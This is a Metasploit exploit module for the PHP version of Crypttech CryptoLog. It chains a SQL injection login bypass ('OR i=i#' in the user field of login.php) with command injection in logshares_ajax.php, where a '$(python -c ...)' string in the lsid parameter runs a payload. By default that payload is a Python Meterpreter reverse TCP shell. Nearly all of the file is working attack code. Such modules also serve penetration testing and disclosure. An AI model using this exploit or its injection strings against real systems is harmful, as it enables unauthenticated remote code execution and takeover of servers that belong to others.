##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Crypttech CryptoLog Remote Code Execution",
      'Description'    => %q{
        This module exploits a SQL injection and command injection vulnerability in the PHP version of CryptoLog.
        An unauthenticated user can execute a terminal command under the context of the web user. These vulnerabilities
        are no longer present in the ASP.NET version CryptoLog, available since 2009.

        CryptoLog's login.php endpoint is responsible for the login process. One of the user supplied parameters is
        used by the application without input validation and parameter binding, which leads to SQL injection
        vulnerability. Successfully exploitating this vulnerability gives a the valid session.

        CryptoLog's logshares_ajax.php endpoint is responsible for executing an operation system command. It's not
        possible to access this endpoint without having a valid session. One user parameter is used by the
        application while executing an operating system command, which causes a command injection issue.

        Combining these vulnerabilities gives the opportunity execute operation system commands under the context
        of the web user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://pentest.blog/advisory-cryptolog-unauthenticated-remote-code-execution/']
        ],
      'DefaultOptions'  =>
        {
          'Payload'  => 'python/meterpreter/reverse_tcp'
        },
      'Platform'       => ['python'],
      'Arch'           => ARCH_PYTHON,
      'Targets'        => [[ 'Automatic', { }]],
      'Privileged'     => false,
      'DisclosureDate' => "May 3 2017",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable CryptoLog instance', '/'])
      ]
    )
  end

  def bypass_login
    r = rand_text_alpha(15)
    i = rand_text_numeric(5)

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cryptolog', 'login.php'),
      'vars_get' => {
        'act' => 'login'
      },
      'vars_post' => {
        'user' => "' OR #{i}=#{i}#",
        'pass' => "#{r}"
      }
    })

    if res && res.code == 302 && res.headers.include?('Set-Cookie')
      res.get_cookies
    else
      nil
    end
  end

  def check
    if bypass_login.nil?
      Exploit::CheckCode::Safe
    else
      Exploit::CheckCode::Appears
    end
  end

  def exploit
    print_status("Bypassing login by exploiting SQLi flaw")

    cookie = bypass_login

    if cookie.nil?
      fail_with(Failure::Unknown, "Something went wrong.")
    end

    print_good("Successfully logged in")

    print_status("Exploiting command injection flaw")
    r = rand_text_alpha(15)

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cryptolog', 'logshares_ajax.php'),
      'cookie'    => cookie,
      'vars_post' => {
        'opt' => "check",
        'lsid' => "$(python -c \"#{payload.encoded}\")",
        'lssharetype' => "#{r}"
      }
    })

  end
end
